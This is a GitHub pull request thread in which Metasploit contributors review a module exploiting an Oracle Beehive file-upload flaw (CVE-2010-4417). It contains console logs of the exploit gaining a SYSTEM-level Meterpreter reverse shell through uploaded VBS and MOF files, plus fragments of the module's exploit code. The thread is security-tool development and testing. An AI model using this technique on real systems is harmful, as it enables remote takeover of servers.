Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Already on GitHub? Sign in to your account

Added module for ZDI-11-020 #1060

Closed
wants to merge 3 commits into
from

Conversation

Projects
None yet
4 participants
Contributor

jvazquez-r7 commented Nov 13, 2012

My test on Oracle Beehive 2.0.1.0 / Windows 2003 SP2 :

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 1027 exploits - 535 auxiliary - 164 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops

msf > use exploit/windows/oracle/beehive_upload 
msf  exploit(beehive_upload) > show options

Module options (exploit/windows/oracle/beehive_upload):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST                     yes       The target address
   RPORT    7777             yes       The target port
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Oracle Beehive 2.0.1.0 / Windows 2003 SP2


msf  exploit(beehive_upload) > set RHOST 192.168.1.178
RHOST => 192.168.1.178
msf  exploit(beehive_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] Encoding payload into exe...
[*] Generating mof file...
[*] Uploading the payload to c:\WINDOWS\system32\NamvzA.vbs...
[+] Payload successfully uploaded
[*] Uploading the MOF file to c:\WINDOWS\system32\wbem\mof\ZoEKSH.mof...
[+] MOF file successfully uploaded
[*] Sending stage (752128 bytes) to 192.168.1.178
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.178:2595) at 2012-11-13 15:46:05 +0100
[!] Deleting the exe payload "NamvzA.vbs" ...
[!] Deleting the mof file "ZoEKSH.mof" ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

Contributor

wchen-r7 commented Nov 14, 2012

Code review in progress...

@wchen-r7 wchen-r7 and 1 other commented on an outdated diff Nov 15, 2012

modules/exploits/windows/oracle/beehive_upload.rb
+ '1c239c43f521145fa8385d64a9c32243', # Vulnerability discovery
+ 'juan vazquez' # Metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2010-4417' ],
+ [ 'OSVDB', '70552' ],
+ [ 'BID', '45854' ],
+ [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-020/' ],
+ [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ]
+ ],
+
+ 'DefaultOptions' =>
+ {
+ 'WfsDelay' => 20
@wchen-r7

wchen-r7 Nov 15, 2012

Contributor

This is never really long enough for me. The exploit drops the vbs and mof file, and then I just keep on waiting until the module expires -- no shell. I tried to drop a random file in the mof directory, and that seemed to speed it up for some reason. It doesn't make much sense to me why that helped, but right now I'm having a hard time investigating further, because after a reboot my box is no longer serving Beehive even though the port is listening. What a b*tch to test.

@jvazquez-r7

jvazquez-r7 Nov 15, 2012

Contributor

Really I needed to add this delay because my test machine was consuming resources heavily after installing oracle and beehive. With this delay, finally, was sufficient to let the WMI service to process the mof file. My hope is this delay wouldn't be really necessary in a production environment. My test machine was really heavy loaded running Oracle Database and Beehive.

@wchen-r7

wchen-r7 Nov 15, 2012

Contributor

My problem is probably due to the same reason. I'll try something else.

@wchen-r7

wchen-r7 Nov 15, 2012

Contributor

Well, the installation ate up more than 5GB of memory, ran out, and then caused the installer to fail. Probably not a good idea to have Oracle database and BeeHive in the same box, although that seems to speed up installation. Annoying.

@wchen-r7

wchen-r7 Nov 15, 2012

Contributor

I finally painfully setup another.... it appears this is a prob. I've only used up no more than 50% of ram, 1% CPU usage during exploitation, yet the mof file just sits there.

@wchen-r7

wchen-r7 Nov 15, 2012

Contributor

I just verified again that if I drop a random text file, the mof file will be processed right away. If not, it can be sitting there forever.....

Contributor

wchen-r7 commented Nov 16, 2012

So after additional testings, we've decided to hold. Apparently the mof file is locked after upload, and that's most likely why it won't execute right away, causing the exploit to expire without a shell. During our experiment, we notice the best way is to upload the the mof, wait 3 minutes, and then drop another random file (ie. txt), and then both files (the mof and the random file) will be processed, and then we get a shell. If we drop the random file too soon, then it will end up only processing the txt file, and not the mof one. However, we're not entirely satisfied with that condition, so we're still looking for ways to get around that...

Contributor

corelanc0d3r commented Nov 16, 2012

does it have to be a txt file ? would a second mof file work too ?

Contributor

wchen-r7 commented Nov 16, 2012

A second mof should work. When Juan was testing it, he ran rexploit instead of dropping a txt file. The biggest problem is java locking it up. The second file drop kinda just "wakes" Windows to finally do something about the files sitting in the "mof" directory.

You wanna try? Beehive is quite a hassle to setup :-)

Contributor

corelanc0d3r commented Nov 16, 2012

haha no :)

so since the second file gets processed immediately, isn't there a way to drop the mof twice, in the same routine, with a few seconds of delay ?

Contributor

wchen-r7 commented Nov 16, 2012

Based on our experiment, it's best to drop another file every 3 minutes. If you do it too quick, you end up waiting even longer for it to finally execute the shell. For example, at one point I would drop a random file every 30 seconds, and I ended up waiting 5 minutes to see a shell. I also tried every 60 seconds, still had to wait 3 minutes in the end.

Contributor

jvazquez-r7 commented Nov 19, 2012

bah! Im going super annoyed, after recovering this topic, I'm not able of experiencing the locking issues again, just using WfsDelay to 180 is sufficient.... and the mof file can be moved to the "good" dir without locking problems :-(

Anyway, at least I've used to test #1076 successfully

msf  exploit(beehive_upload) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.1.129:4444 
[*] Encoding payload into exe...
[*] Generating mof file...
[*] Uploading the payload to c:\WINDOWS\system32\qNucH.vbs...
[+] Payload successfully uploaded
[*] Uploading the MOF file to c:\WINDOWS\system32\wbem\mof\CSvIoF.mof...
[+] MOF file successfully uploaded
[*] Waiting for shell...
[*] Sending stage (752128 bytes) to 192.168.1.178
[*] Meterpreter session 3 opened (192.168.1.129:4444 -> 192.168.1.178:4174) at 2012-11-19 19:28:42 +0100
[+] Deleted c:\windows\system32\qNucH.vbs
[!] This exploit may require manual cleanup of: c:\windows\system32\wbem\mof\good\CSvIoF.mof
meterpreter > cd c:\\windows\\system32\\wbem\\mof\\good
meterpreter > ls CSvIoF.mof
100444/r--r--r--  2191  fil  2012-11-19 19:27:33 +0100  CSvIoF.mof
meterpreter > rm CSvIoF.mof
[-] stdapi_fs_delete_file: Operation failed: Access is denied.
meterpreter > exit
[*] Shutting down Meterpreter...
Contributor

jvazquez-r7 commented Nov 19, 2012

BTW, the module can't be merged without merging #1076 first atm!!!!

@jlee-r7 jlee-r7 and 1 other commented on an outdated diff Nov 19, 2012

modules/exploits/windows/oracle/beehive_upload.rb
+
+ def exploit
+
+ @var_mof_name = rand_text_alpha(rand(5)+5)
+ @var_vbs_name = rand_text_alpha(rand(5)+5)
+ session = rand_text_alpha(rand(5)+5)
+
+ print_status("Encoding payload into exe...")
+
+ exe = generate_payload_exe
+ vbs = Msf::Util::EXE.to_exe_vbs(exe)
+
+ print_status("Generating mof file...")
+ mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
+ register_file_for_cleanup("c:\\windows\\system32\\#{@var_vbs_name}.vbs")
+ register_file_for_cleanup("c:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof")
@jlee-r7

jlee-r7 Nov 19, 2012

Contributor

This won't be right on systems where %SystemDrive% isn't C:

@jvazquez-r7

jvazquez-r7 Nov 19, 2012

Contributor

Yes sure, but it's being done in this way in other wbem modules, so just testing the FileDropper mixin. About this modules, I'm more worried about lock issues I'm not being able to full understand / avoid :( Anyway, I'm going to fix :)

@jlee-r7

jlee-r7 Nov 19, 2012

Contributor

Making PrependMigrate (#939) a standard option on Windows payloads and defaulting it to true in Exploit::EXE would solve that problem.

Contributor

jvazquez-r7 commented Nov 19, 2012

Test after fix jlee warning:

msf  exploit(beehive_upload) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.1.129:4444 
[*] Encoding payload into exe...
[*] Generating mof file...
[*] Uploading the payload to c:\WINDOWS\system32\BIAfKDKqz.vbs...
[+] Payload successfully uploaded
[*] Uploading the MOF file to c:\WINDOWS\system32\wbem\mof\DNnXGp.mof...
[+] MOF file successfully uploaded
[*] Waiting for shell...
[*] Sending stage (752128 bytes) to 192.168.1.178
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.178:4508) at 2012-11-19 20:49:39 +0100
[+] Deleted BIAfKDKqz.vbs
[!] This exploit may require manual cleanup of: wbem\mof\good\DNnXGp.mof
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > 
Contributor

wchen-r7 commented Nov 21, 2012

I'll take a look at this again today or tomorrow...

Contributor

wchen-r7 commented Nov 24, 2012

Weird. Your beehive_upload branch for some reason is gone. I can't pull it if it's not there.

Contributor

jvazquez-r7 commented Nov 24, 2012

My fault, beehive_upload branch is available again!

Contributor

wchen-r7 commented Dec 13, 2012

So last time I tested, I got a 500... not sure why. I'm not entirely confident putting this in master, because the lag is kind of spooky and we've never really found the root cause of that issue (at least I don't recall that we have). So I'm gonna sit this in the unstable branch for now, and then I'll come back to it again with a new box. Sorry Juan.

@wchen-r7 wchen-r7 closed this Dec 13, 2012

Contributor

jvazquez-r7 commented Dec 13, 2012

np, sounds good for me!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment